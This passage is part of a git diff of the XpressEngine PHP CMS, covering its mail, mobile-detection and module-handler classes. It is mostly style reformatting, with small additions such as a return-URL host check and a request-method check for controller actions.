class Mail extends PHPMailer } /** - * Send email - * - * @return bool TRUE in case of success, FALSE if sending fails - */ + * Send email + * + * @return bool TRUE in case of success, FALSE if sending fails + */ function send() { if($this->Mailer == "mail") @@ -564,38 +555,28 @@ class Mail extends PHPMailer $this->eol = $GLOBALS['_qmail_compatibility'] == "Y" ? "\n" : "\r\n"; $this->header = "Content-Type: multipart/alternative;" . $this->eol . "\tboundary=\"" . $boundary . "\"" . $this->eol . $this->eol; $this->body = sprintf( - "--%s" . $this->eol . - "Content-Type: text/plain; charset=utf-8; format=flowed" . $this->eol . - "Content-Transfer-Encoding: base64" . $this->eol . - "Content-Disposition: inline" . $this->eol . $this->eol . - "%s" . - "--%s" . $this->eol . - "Content-Type: text/html; charset=utf-8" . $this->eol . - "Content-Transfer-Encoding: base64" . $this->eol . - "Content-Disposition: inline" . $this->eol . $this->eol . - "%s" . - "--%s--" . - "", - $boundary, - $this->getPlainContent(), - $boundary, - $this->getHTMLContent(), - $boundary + "--%s" . $this->eol . + "Content-Type: text/plain; charset=utf-8; format=flowed" . $this->eol . + "Content-Transfer-Encoding: base64" . $this->eol . + "Content-Disposition: inline" . $this->eol . $this->eol . + "%s" . + "--%s" . $this->eol . + "Content-Type: text/html; charset=utf-8" . $this->eol . + "Content-Transfer-Encoding: base64" . $this->eol . + "Content-Disposition: inline" . $this->eol . $this->eol . + "%s" . + "--%s--" . + "", $boundary, $this->getPlainContent(), $boundary, $this->getHTMLContent(), $boundary ); $this->procCidAttachments(); $this->procAttachments(); $headers = sprintf( - "From: %s" . $this->eol . - "%s" . - "%s" . - "%s" . - "%s" . - "MIME-Version: 1.0" . $this->eol . "", - $this->getSender(), - $this->messageId ? ("Message-ID: <" . $this->messageId . ">" . $this->eol):"", - $this->replyTo ? ("Reply-To: <" . $this->replyTo . ">" . $this->eol):"", - $this->bcc ? ("Bcc: " . $this->bcc . $this->eol):"", - $this->references ? ("References: <" . $this->references . ">" . $this->eol . "In-Reply-To: <" . $this->references . ">" . $this->eol):"" + "From: %s" . $this->eol . + "%s" . + "%s" . + "%s" . + "%s" . + "MIME-Version: 1.0" . $this->eol . "", $this->getSender(), $this->messageId ? ("Message-ID: <" . $this->messageId . ">" . $this->eol) : "", $this->replyTo ? ("Reply-To: <" . $this->replyTo . ">" . $this->eol) : "", $this->bcc ? ("Bcc: " . $this->bcc . $this->eol) : "", $this->references ? ("References: <" . $this->references . ">" . $this->eol . "In-Reply-To: <" . $this->references . ">" . $this->eol) : "" ); $headers .= $this->header; if($this->additional_params) @@ -612,11 +593,11 @@ class Mail extends PHPMailer } /** - * Check if DNS of param is real or fake - * - * @param string $email_address Email address - * @return boolean TRUE if param is valid DNS otherwise FALSE - */ + * Check if DNS of param is real or fake + * + * @param string $email_address Email address + * @return boolean TRUE if param is valid DNS otherwise FALSE + */ function checkMailMX($email_address) { if(!Mail::isVaildMailAddress($email_address)) @@ -639,11 +620,11 @@ class Mail extends PHPMailer } /** - * Check if param is a valid email or not - * - * @param string $email_address Email address - * @return string email address if param is valid email address otherwise blank string - */ + * Check if param is a valid email or not + * + * @param string $email_address Email address + * @return string email address if param is valid email address otherwise blank string + */ function isVaildMailAddress($email_address) { if(preg_match("/([a-z0-9\_\-\.]+)@([a-z0-9\_\-\.]+)/i", $email_address)) @@ -657,11 +638,11 @@ class Mail extends PHPMailer } /** - * Gets the MIME type of param - * - * @param string $filename filename - * @return string MIME type of ext - */ + * Gets the MIME type of param + * + * @param string $filename filename + * @return string MIME type of ext + */ function returnMIMEType($filename) { preg_match("|\.([a-z0-9]{2,4})$|i", $filename, $fileSuffix); @@ -740,6 +721,7 @@ class Mail extends PHPMailer return "unknown/" . trim($fileSuffix[0], "."); } } + } /* End of file Mail.class.php */ /* Location: ./classes/mail/Mail.class.php */ diff --git a/classes/mobile/Mobile.class.php b/classes/mobile/Mobile.class.php index 05aa40b5f..ab6228f55 100644 --- a/classes/mobile/Mobile.class.php +++ b/classes/mobile/Mobile.class.php @@ -5,21 +5,27 @@ * * @author NHN (developers@xpressengine.com) */ -class Mobile { +class Mobile +{ + /** * Whether mobile or not mobile mode * @var bool */ - var $ismobile = null; + var $ismobile = NULL; /** * Get instance of Mobile class(for singleton) * * @return Mobile */ - function &getInstance() { + function &getInstance() + { static $theInstance; - if(!isset($theInstance)) $theInstance = new Mobile(); + if(!isset($theInstance)) + { + $theInstance = new Mobile(); + } return $theInstance; } @@ -28,8 +34,9 @@ class Mobile { * * @return bool If mobile mode returns true or false */ - function isFromMobilePhone() { - $oMobile =& Mobile::getInstance(); + function isFromMobilePhone() + { + $oMobile = & Mobile::getInstance(); return $oMobile->_isFromMobilePhone(); } @@ -38,11 +45,16 @@ class Mobile { * * @return bool */ - function _isFromMobilePhone() { - if($this->ismobile !== null) return $this->ismobile; + function _isFromMobilePhone() + { + if($this->ismobile !== NULL) + { + return $this->ismobile; + } $db_info = Context::getDBInfo(); - if($db_info->use_mobile_view != "Y" || Context::get('full_browse') || $_COOKIE["FullBrowse"]) { + if($db_info->use_mobile_view != "Y" || Context::get('full_browse') || $_COOKIE["FullBrowse"]) + { return ($this->ismobile = false); } @@ -52,19 +64,28 @@ class Mobile { $this->ismobile = FALSE; $m = Context::get('m'); - if(strlen($m)==1) { - if($m == "1") { - $this->ismobile = true; - } elseif($m == "0") { - $this->ismobile = false; + if(strlen($m) == 1) + { + if($m == "1") + { + $this->ismobile = TRUE; } - } elseif(isset($_COOKIE['mobile'])) { + elseif($m == "0") + { + $this->ismobile = FALSE; + } + } + elseif(isset($_COOKIE['mobile'])) + { if($_COOKIE['user-agent'] == md5($_SERVER['HTTP_USER_AGENT'])) { - if($_COOKIE['mobile'] == 'true') { - $this->ismobile = true; - } else { - $this->ismobile = false; + if($_COOKIE['mobile'] == 'true') + { + $this->ismobile = TRUE; + } + else + { + $this->ismobile = FALSE; } } else @@ -111,7 +132,7 @@ class Mobile { if($_COOKIE['user-agent'] != md5($_SERVER['HTTP_USER_AGENT'])) { - setcookie("user-agent",md5($_SERVER['HTTP_USER_AGENT']), 0, $xe_web_path); + setcookie("user-agent", md5($_SERVER['HTTP_USER_AGENT']), 0, $xe_web_path); } } @@ -126,11 +147,13 @@ class Mobile { function isMobileCheckByAgent() { static $UACheck; - if(isset($UACheck)) return $UACheck; + if(isset($UACheck)) + { + return $UACheck; + } - $oMobile =& Mobile::getInstance(); - // stripos is only for PHP5. - $mobileAgent = unserialize(strtolower(serialize(array('iPod','iPhone','Android','BlackBerry','SymbianOS','Bada','Kindle','Wii','SCH-','SPH-','CANU-','Windows Phone','Windows CE','POLARIS','Palm','Dorothy Browser','Mobile','Opera Mobi','Opera Mini','Minimo','AvantGo','NetFront','Nokia','LGPlayer','SonyEricsson','HTC')))); + $oMobile = Mobile::getInstance(); + $mobileAgent = array('iPod', 'iPhone', 'Android', 'BlackBerry', 'SymbianOS', 'Bada', 'Tizen', 'Kindle', 'Wii', 'SCH-', 'SPH-', 'CANU-', 'Windows Phone', 'Windows CE', 'POLARIS', 'Palm', 'Dorothy Browser', 'Mobile', 'Opera Mobi', 'Opera Mini', 'Minimo', 'AvantGo', 'NetFront', 'Nokia', 'LGPlayer', 'SonyEricsson', 'HTC'); if($oMobile->isMobilePadCheckByAgent()) { @@ -140,9 +163,7 @@ class Mobile { foreach($mobileAgent as $agent) { - // stripos is only for PHP5.. - $httpUA = strtolower($_SERVER['HTTP_USER_AGENT']); - if(strpos($httpUA, $agent) !== FALSE) + if(stripos($_SERVER['HTTP_USER_AGENT'], $agent) !== FALSE) { $UACheck = TRUE; return TRUE; @@ -160,12 +181,15 @@ class Mobile { function isMobilePadCheckByAgent() { static $UACheck; - if(isset($UACheck)) return $UACheck; - $padAgent = array('iPad','Android','webOS','hp-tablet','PlayBook'); + if(isset($UACheck)) + { + return $UACheck; + } + $padAgent = array('iPad', 'Android', 'webOS', 'hp-tablet', 'PlayBook'); // Android with 'Mobile' string is not a tablet-like device, and 'Andoroid' without 'Mobile' string is a tablet-like device. // $exceptionAgent[0] contains exception agents for all exceptions. - $exceptionAgent = array(0 => array('Opera Mini','Opera Mobi'),'Android' => 'Mobile'); + $exceptionAgent = array(0 => array('Opera Mini', 'Opera Mobi'), 'Android' => 'Mobile'); foreach($padAgent as $agent) { @@ -205,9 +229,9 @@ class Mobile { */ function setMobile($ismobile) { - $oMobile =& Mobile::getInstance(); + $oMobile = Mobile::getInstance(); $oMobile->ismobile = $ismobile; } -} +} ?> diff --git a/classes/module/ModuleHandler.class.php b/classes/module/ModuleHandler.class.php index 77edaac80..068ad18fa 100644 --- a/classes/module/ModuleHandler.class.php +++ b/classes/module/ModuleHandler.class.php @@ -1,335 +1,510 @@ module = 'install'; + $this->act = Context::get('act'); + return; + } - /** - * prepares variables to use in moduleHandler - * @param string $module name of module - * @param string $act name of action - * @param int $mid - * @param int $document_srl - * @param int $module_srl - * @return void - **/ - function ModuleHandler($module = '', $act = '', $mid = '', $document_srl = '', $module_srl = '') { - // If XE has not installed yet, set module as install - if(!Context::isInstalled()) { - $this->module = 'install'; - $this->act = Context::get('act'); - return; - } + $oContext = Context::getInstance(); + if($oContext->isSuccessInit == FALSE) + { + $this->error = 'msg_invalid_request'; + return; + } - $oContext = Context::getInstance(); - if($oContext->isSuccessInit == false) + // Set variables from request arguments + $this->module = $module ? $module : Context::get('module'); + $this->act = $act ? $act : Context::get('act'); + $this->mid = $mid ? $mid : Context::get('mid'); + $this->document_srl = $document_srl ? (int) $document_srl : (int) Context::get('document_srl'); + $this->module_srl = $module_srl ? (int) $module_srl : (int) Context::get('module_srl'); + $this->entry = Context::convertEncodingStr(Context::get('entry')); + + // Validate variables to prevent XSS + $isInvalid = NULL; + if($this->module && !preg_match("/^([a-z0-9\_\-]+)$/i", $this->module)) + { + $isInvalid = TRUE; + } + if($this->mid && !preg_match("/^([a-z0-9\_\-]+)$/i", $this->mid)) + { + $isInvalid = TRUE; + } + if($this->act && !preg_match("/^([a-z0-9\_\-]+)$/i", $this->act)) + { + $isInvalid = TRUE; + } + if($isInvalid) + { + htmlHeader(); + echo Context::getLang("msg_invalid_request"); + htmlFooter(); + Context::close(); + exit; + } + + if(isset($this->act) && substr($this->act, 0, 4) == 'disp') + { + if(Context::get('_use_ssl') == 'optional' && Context::isExistsSSLAction($this->act) && $_SERVER['HTTPS'] != 'on') { - $this->error = 'msg_invalid_request'; + header('location:https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); return; } + } - // Set variables from request arguments - $this->module = $module?$module:Context::get('module'); - $this->act = $act?$act:Context::get('act'); - $this->mid = $mid?$mid:Context::get('mid'); - $this->document_srl = $document_srl?(int)$document_srl:(int)Context::get('document_srl'); - $this->module_srl = $module_srl?(int)$module_srl:(int)Context::get('module_srl'); - $this->entry = Context::convertEncodingStr(Context::get('entry')); + // execute addon (before module initialization) + $called_position = 'before_module_init'; + $oAddonController = getController('addon'); + $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone() ? 'mobile' : 'pc'); + @include($addon_file); + } - // Validate variables to prevent XSS - $isInvalid = null; - if($this->module && !preg_match("/^([a-z0-9\_\-]+)$/i",$this->module)) $isInvalid = true; - if($this->mid && !preg_match("/^([a-z0-9\_\-]+)$/i",$this->mid)) $isInvalid = true; - if($this->act && !preg_match("/^([a-z0-9\_\-]+)$/i",$this->act)) $isInvalid = true; - if ($isInvalid) + /** + * Initialization. It finds the target module based on module, mid, document_srl, and prepares to execute an action + * @return boolean true: OK, false: redirected + * */ + function init() + { + // if success_return_url and error_return_url is incorrect + $urls = array(Context::get('success_return_url'), Context::get('error_return_url')); + foreach($urls as $url) + { + if(empty($url)) { - htmlHeader(); - echo Context::getLang("msg_invalid_request"); - htmlFooter(); - Context::close(); - exit; + continue; } - if(isset($this->act) && substr($this->act, 0, 4) == 'disp') + $urlInfo = parse_url($url); + $host = $urlInfo['host']; + + $dbInfo = Context::getDBInfo(); + $defaultUrlInfo = parse_url($dbInfo->default_url); + $defaultHost = $defaultUrlInfo['host']; + + if($host && $host != $defaultHost) { - if(Context::get('_use_ssl') == 'optional' && Context::isExistsSSLAction($this->act) && $_SERVER['HTTPS'] != 'on') + throw new Exception('msg_default_url_is_null'); + } + } + + $oModuleModel = getModel('module'); + $site_module_info = Context::get('site_module_info'); + + if(!$this->document_srl && $this->mid && $this->entry) + { + $oDocumentModel = &getModel('document'); + $this->document_srl = $oDocumentModel->getDocumentSrlByAlias($this->mid, $this->entry); + if($this->document_srl) + { + Context::set('document_srl', $this->document_srl); + } + } + + // Get module's information based on document_srl, if it's specified + if($this->document_srl && !$this->module) + { + $module_info = $oModuleModel->getModuleInfoByDocumentSrl($this->document_srl); + + // If the document does not exist, remove document_srl + if(!$module_info) + { + unset($this->document_srl); + } + else + { + // If it exists, compare mid based on the module information + // if mids are not matching, set it as the document's mid + if($this->mid != $module_info->mid) { - header('location:https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); - return; + $this->mid = $module_info->mid; + Context::set('mid', $module_info->mid, TRUE); + header('location:' . getNotEncodedSiteUrl($site_info->domain, 'mid', $this->mid, 'document_srl', $this->document_srl)); + return FALSE; } } + // if requested module is different from one of the document, remove the module information retrieved based on the document number + if($this->module && $module_info->module != $this->module) + { + unset($module_info); + } + } - // execute addon (before module initialization) - $called_position = 'before_module_init'; - $oAddonController = &getController('addon'); - $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone()?'mobile':'pc'); - @include($addon_file); - } + // If module_info is not set yet, and there exists mid information, get module information based on the mid + if(!$module_info && $this->mid) + { + $module_info = $oModuleModel->getModuleInfoByMid($this->mid, $site_module_info->site_srl); + //if($this->module && $module_info->module != $this->module) unset($module_info); + } - /** - * Initialization. It finds the target module based on module, mid, document_srl, and prepares to execute an action - * @return boolean true: OK, false: redirected - **/ - function init() { - $oModuleModel = &getModel('module'); - $site_module_info = Context::get('site_module_info'); + // redirect, if module_site_srl and site_srl are different + if(!$this->module && !$module_info && $site_module_info->site_srl == 0 && $site_module_info->module_site_srl > 0) + { + $site_info = $oModuleModel->getSiteInfo($site_module_info->module_site_srl); + header("location:" . getNotEncodedSiteUrl($site_info->domain, 'mid', $site_module_info->mid)); + return FALSE; + } - if(!$this->document_srl && $this->mid && $this->entry) { - $oDocumentModel = &getModel('document'); - $this->document_srl = $oDocumentModel->getDocumentSrlByAlias($this->mid, $this->entry); - if($this->document_srl) Context::set('document_srl', $this->document_srl); - } + // If module_info is not set still, and $module does not exist, find the default module + if(!$module_info && !$this->module && !$this->mid) + { + $module_info = $site_module_info; + } - // Get module's information based on document_srl, if it's specified - if($this->document_srl && !$this->module) { - $module_info = $oModuleModel->getModuleInfoByDocumentSrl($this->document_srl); + if(!$module_info && !$this->module && $site_module_info->module_site_srl) + { + $module_info = $site_module_info; + } - // If the document does not exist, remove document_srl - if(!$module_info) { - unset($this->document_srl); - } else { - // If it exists, compare mid based on the module information - // if mids are not matching, set it as the document's mid - if($this->mid != $module_info->mid) { - $this->mid = $module_info->mid; - Context::set('mid', $module_info->mid, true); - header('location:' . getNotEncodedSiteUrl($site_info->domain, 'mid', $this->mid, 'document_srl', $this->document_srl)); - return false; - } - } - // if requested module is different from one of the document, remove the module information retrieved based on the document number - if($this->module && $module_info->module != $this->module) unset($module_info); - } - - // If module_info is not set yet, and there exists mid information, get module information based on the mid - if(!$module_info && $this->mid) { - $module_info = $oModuleModel->getModuleInfoByMid($this->mid, $site_module_info->site_srl); - //if($this->module && $module_info->module != $this->module) unset($module_info); - } - - // redirect, if module_site_srl and site_srl are different - if(!$this->module && !$module_info && $site_module_info->site_srl == 0 && $site_module_info->module_site_srl > 0) { - $site_info = $oModuleModel->getSiteInfo($site_module_info->module_site_srl); - header("location:".getNotEncodedSiteUrl($site_info->domain,'mid',$site_module_info->mid)); - return false; - } - - // If module_info is not set still, and $module does not exist, find the default module - if(!$module_info && !$this->module && !$this->mid) $module_info = $site_module_info; - - if(!$module_info && !$this->module && $site_module_info->module_site_srl) $module_info = $site_module_info; - - // redirect, if site_srl of module_info is different from one of site's module_info - if($module_info && $module_info->site_srl != $site_module_info->site_srl && !isCrawler()) { - // If the module is of virtual site - if($module_info->site_srl) { - $site_info = $oModuleModel->getSiteInfo($module_info->site_srl); - $redirect_url = getNotEncodedSiteUrl($site_info->domain, 'mid',Context::get('mid'),'document_srl',Context::get('document_srl'),'module_srl',Context::get('module_srl'),'entry',Context::get('entry')); - // If it's called from a virtual site, though it's not a module of the virtual site - } else { - $db_info = Context::getDBInfo(); - if(!$db_info->default_url) return Context::getLang('msg_default_url_is_not_defined'); - else $redirect_url = getNotEncodedSiteUrl($db_info->default_url, 'mid',Context::get('mid'),'document_srl',Context::get('document_srl'),'module_srl',Context::get('module_srl'),'entry',Context::get('entry')); - } - header("location:".$redirect_url); - return false; - } - - // If module info was set, retrieve variables from the module information - if($module_info) { - $this->module = $module_info->module; - $this->mid = $module_info->mid; - $this->module_info = $module_info; - Context::setBrowserTitle($module_info->browser_title); - - if($module_info->use_mobile && Mobile::isFromMobilePhone()) + // redirect, if site_srl of module_info is different from one of site's module_info + if($module_info && $module_info->site_srl != $site_module_info->site_srl && !isCrawler()) + { + // If the module is of virtual site + if($module_info->site_srl) + { + $site_info = $oModuleModel->getSiteInfo($module_info->site_srl); + $redirect_url = getNotEncodedSiteUrl($site_info->domain, 'mid', Context::get('mid'), 'document_srl', Context::get('document_srl'), 'module_srl', Context::get('module_srl'), 'entry', Context::get('entry')); + // If it's called from a virtual site, though it's not a module of the virtual site + } + else + { + $db_info = Context::getDBInfo(); + if(!$db_info->default_url) { - $layoutSrl = $module_info->mlayout_srl; + return Context::getLang('msg_default_url_is_not_defined'); } else { - $layoutSrl = $module_info->layout_srl; - } - - $part_config= $oModuleModel->getModulePartConfig('layout',$layoutSrl); - Context::addHtmlHeader($part_config->header_script); - } - - // Set module and mid into module_info - $this->module_info->module = $this->module; - $this->module_info->mid = $this->mid; - - // Set site_srl add 2011 08 09 - $this->module_info->site_srl = $site_module_info->site_srl; - - // Still no module? it's an error - if(!$this->module) - { - $this->error = 'msg_module_is_not_exists'; - $this->httpStatusCode = '404'; - } - - // If mid exists, set mid into context - if($this->mid) Context::set('mid', $this->mid, true); - - // Call a trigger after moduleHandler init - $output = ModuleHandler::triggerCall('moduleHandler.init', 'after', $this->module_info); - if(!$output->toBool()) { - $this->error = $output->getMessage(); - return false; - } - - // Set current module info into context - Context::set('current_module_info', $this->module_info); - - return true; - } - - /** - * get a module instance and execute an action - * @return ModuleObject executed module instance - **/ - function procModule() { - $oModuleModel = &getModel('module'); - - // If error occurred while preparation, return a message instance - if($this->error) { - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); - if($this->httpStatusCode) - { - $oMessageObject->setHttpStatusCode($this->httpStatusCode); - } - return $oMessageObject; - } - - // Get action information with conf/module.xml - $xml_info = $oModuleModel->getModuleActionXml($this->module); - - // If not installed yet, modify act - if($this->module=="install") { - if(!$this->act || !$xml_info->action->{$this->act}) $this->act = $xml_info->default_index_act; - } - - // if act exists, find type of the action, if not use default index act - if(!$this->act) $this->act = $xml_info->default_index_act; - - // still no act means error - if(!$this->act) { - $this->error = 'msg_module_is_not_exists'; - $this->httpStatusCode = '404'; - - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); - if($this->httpStatusCode) - { - $oMessageObject->setHttpStatusCode($this->httpStatusCode); - } - return $oMessageObject; - } - - // get type, kind - $type = $xml_info->action->{$this->act}->type; - $ruleset = $xml_info->action->{$this->act}->ruleset; - $kind = strpos(strtolower($this->act),'admin')!==false?'admin':''; - if(!$kind && $this->module == 'admin') $kind = 'admin'; - if($this->module_info->use_mobile != "Y") Mobile::setMobile(false); - - // admin menu check - if(Context::isInstalled()) - { - $oMenuAdminModel = &getAdminModel('menu'); - $output = $oMenuAdminModel->getMenuByTitle('__XE_ADMIN__'); - - if(!$output->menu_srl) - { - $oAdminClass = &getClass('admin'); - $oAdminClass->createXeAdminMenu(); - } - else if(!is_readable($output->php_file)) - { - $oMenuAdminController = &getAdminController('menu'); - $oMenuAdminController->makeXmlFile($output->menu_srl); + $redirect_url = getNotEncodedSiteUrl($db_info->default_url, 'mid', Context::get('mid'), 'document_srl', Context::get('document_srl'), 'module_srl', Context::get('module_srl'), 'entry', Context::get('entry')); } } + header("location:" . $redirect_url); + return FALSE; + } - // Admin ip - $logged_info = Context::get('logged_info'); - if($kind == 'admin' && $_SESSION['denied_admin'] == 'Y'){ - $this->error = "msg_not_permitted_act"; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); + // If module info was set, retrieve variables from the module information + if($module_info) + { + $this->module = $module_info->module; + $this->mid = $module_info->mid; + $this->module_info = $module_info; + Context::setBrowserTitle($module_info->browser_title); + + $viewType = (Mobile::isFromMobilePhone()) ? 'M' : 'P'; + $targetSrl = (Mobile::isFromMobilePhone()) ? 'mlayout_srl' : 'layout_srl'; + + // use the site default layout. + if($module_info->{$targetSrl} == -1) + { + $oLayoutAdminModel = &getAdminModel('layout'); + $layoutSrl = $oLayoutAdminModel->getSiteDefaultLayout($viewType, $module_info->site_srl); + } + else + { + $layoutSrl = $module_info->{$targetSrl}; + } + + // reset a layout_srl in module_info. + $module_info->{$targetSrl} = $layoutSrl; + + $part_config = $oModuleModel->getModulePartConfig('layout', $layoutSrl); + Context::addHtmlHeader($part_config->header_script); + } + + // Set module and mid into module_info + if(!isset($this->module_info)) + { + $this->module_info = new stdClass(); + } + $this->module_info->module = $this->module; + $this->module_info->mid = $this->mid; + + // Set site_srl add 2011 08 09 + $this->module_info->site_srl = $site_module_info->site_srl; + + // Still no module? it's an error + if(!$this->module) + { + $this->error = 'msg_module_is_not_exists'; + $this->httpStatusCode = '404'; + } + + // If mid exists, set mid into context + if($this->mid) + { + Context::set('mid', $this->mid, TRUE); + } + + // Call a trigger after moduleHandler init + $output = ModuleHandler::triggerCall('moduleHandler.init', 'after', $this->module_info); + if(!$output->toBool()) + { + $this->error = $output->getMessage(); + return FALSE; + } + + // Set current module info into context + Context::set('current_module_info', $this->module_info); + + return TRUE; + } + + /** + * get a module instance and execute an action + * @return ModuleObject executed module instance + * */ + function procModule() + { + $oModuleModel = getModel('module'); + + // If error occurred while preparation, return a message instance + if($this->error) + { + $this->_setInputErrorToContext(); + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + if($this->httpStatusCode) + { + $oMessageObject->setHttpStatusCode($this->httpStatusCode); + } + return $oMessageObject; + } + + // Get action information with conf/module.xml + $xml_info = $oModuleModel->getModuleActionXml($this->module); + + // If not installed yet, modify act + if($this->module == "install") + { + if(!$this->act || !$xml_info->action->{$this->act}) + { + $this->act = $xml_info->default_index_act; + } + } + + // if act exists, find type of the action, if not use default index act + if(!$this->act) + { + $this->act = $xml_info->default_index_act; + } + + // still no act means error + if(!$this->act) + { + $this->error = 'msg_module_is_not_exists'; + $this->httpStatusCode = '404'; + + $this->_setInputErrorToContext(); + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + if($this->httpStatusCode) + { + $oMessageObject->setHttpStatusCode($this->httpStatusCode); + } + return $oMessageObject; + } + + // get type, kind + $type = $xml_info->action->{$this->act}->type; + $ruleset = $xml_info->action->{$this->act}->ruleset; + $kind = strpos(strtolower($this->act), 'admin') !== FALSE ? 'admin' : ''; + if(!$kind && $this->module == 'admin') + { + $kind = 'admin'; + } + + // check REQUEST_METHOD in controller + if($type == 'controller') + { + $allowedMethod = $xml_info->action->{$this->act}->method; + + if(!$allowedMethod) + { + $allowedMethodList[0] = 'POST'; + } + else + { + $allowedMethodList = explode('|', strtoupper($allowedMethod)); + } + + if(!in_array(strtoupper($_SERVER['REQUEST_METHOD']), $allowedMethodList)) + { + $this->error = "msg_invalid_request"; + $oMessageObject = ModuleHandler::getModuleInstance('message', 'view'); $oMessageObject->setError(-1); $oMessageObject->setMessage($this->error); $oMessageObject->dispMessage(); return $oMessageObject; } - - // if(type == view, and case for using mobilephone) - if($type == "view" && Mobile::isFromMobilePhone() && Context::isInstalled()) - { - $orig_type = "view"; - $type = "mobile"; - // create a module instance - $oModule = &$this->getModuleInstance($this->module, $type, $kind); - if(!is_object($oModule) || !method_exists($oModule, $this->act)) { - $type = $orig_type; - Mobile::setMobile(false); - $oModule = &$this->getModuleInstance($this->module, $type, $kind); - } - } - else - { - // create a module instance - $oModule = &$this->getModuleInstance($this->module, $type, $kind); - } + } - if(!is_object($oModule)) { - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); + if($this->module_info->use_mobile != "Y") + { + Mobile::setMobile(FALSE); + } + + // Admin ip + $logged_info = Context::get('logged_info'); + if($kind == 'admin' && $_SESSION['denied_admin'] == 'Y') + { + $this->_setInputErrorToContext(); + $this->error = "msg_not_permitted_act"; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + return $oMessageObject; + } + + // if(type == view, and case for using mobilephone) + if($type == "view" && Mobile::isFromMobilePhone() && Context::isInstalled()) + { + $orig_type = "view"; + $type = "mobile"; + // create a module instance + $oModule = $this->getModuleInstance($this->module, $type, $kind); + if(!is_object($oModule) || !method_exists($oModule, $this->act)) + { + $type = $orig_type; + Mobile::setMobile(FALSE); + $oModule = $this->getModuleInstance($this->module, $type, $kind); + } + } + else + { + // create a module instance + $oModule = $this->getModuleInstance($this->module, $type, $kind); + } + + if(!is_object($oModule)) + { + $this->_setInputErrorToContext(); + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + if($this->httpStatusCode) + { + $oMessageObject->setHttpStatusCode($this->httpStatusCode); + } + return $oMessageObject; + } + + // If there is no such action in the module object + if(!isset($xml_info->action->{$this->act}) || !method_exists($oModule, $this->act)) + { + + if(!Context::isInstalled()) + { + $this->_setInputErrorToContext(); + $this->error = 'msg_invalid_request'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); if($this->httpStatusCode) { $oMessageObject->setHttpStatusCode($this->httpStatusCode); } - return $oMessageObject; + return $oMessageObject; } - // If there is no such action in the module object - if(!isset($xml_info->action->{$this->act}) || !method_exists($oModule, $this->act)) + $forward = NULL; + // 1. Look for the module with action name + if(preg_match('/^([a-z]+)([A-Z])([a-z0-9\_]+)(.*)$/', $this->act, $matches)) { - - if(!Context::isInstalled()) + $module = strtolower($matches[2] . $matches[3]); + $xml_info = $oModuleModel->getModuleActionXml($module); + if($xml_info->action->{$this->act}) { - $this->error = 'msg_invalid_request'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); + $forward = new stdClass(); + $forward->module = $module; + $forward->type = $xml_info->action->{$this->act}->type; + $forward->ruleset = $xml_info->action->{$this->act}->ruleset; + $forward->act = $this->act; + } + } + + if(!$forward) + { + $forward = $oModuleModel->getActionForward($this->act); + } + + if($forward->module && $forward->type && $forward->act && $forward->act == $this->act) + { + $kind = strpos(strtolower($forward->act), 'admin') !== FALSE ? 'admin' : ''; + $type = $forward->type; + $ruleset = $forward->ruleset; + $tpl_path = $oModule->getTemplatePath(); + $orig_module = $oModule; + + if($type == "view" && Mobile::isFromMobilePhone()) + { + $orig_type = "view"; + $type = "mobile"; + // create a module instance + $oModule = $this->getModuleInstance($forward->module, $type, $kind); + if(!is_object($oModule) || !method_exists($oModule, $this->act)) + { + $type = $orig_type; + Mobile::setMobile(FALSE); + $oModule = $this->getModuleInstance($forward->module, $type, $kind); + } + } + else + { + $oModule = $this->getModuleInstance($forward->module, $type, $kind); + } + + if(!is_object($oModule)) + { + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $this->_setInputErrorToContext(); + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); + $oMessageObject->setMessage('msg_module_is_not_exists'); $oMessageObject->dispMessage(); if($this->httpStatusCode) { @@ -338,564 +513,685 @@ return $oMessageObject; } - $forward = null; - // 1. Look for the module with action name - if(preg_match('/^([a-z]+)([A-Z])([a-z0-9\_]+)(.*)$/', $this->act, $matches)) { - $module = strtolower($matches[2].$matches[3]); - $xml_info = $oModuleModel->getModuleActionXml($module); - if($xml_info->action->{$this->act}) { - $forward->module = $module; - $forward->type = $xml_info->action->{$this->act}->type; - $forward->ruleset = $xml_info->action->{$this->act}->ruleset; - $forward->act = $this->act; - } - } + $xml_info = $oModuleModel->getModuleActionXml($forward->module); + $oMemberModel = getModel('member'); - if(!$forward) + if($this->module == "admin" && $type == "view") { - $forward = $oModuleModel->getActionForward($this->act); - } - - if($forward->module && $forward->type && $forward->act && $forward->act == $this->act) { - $kind = 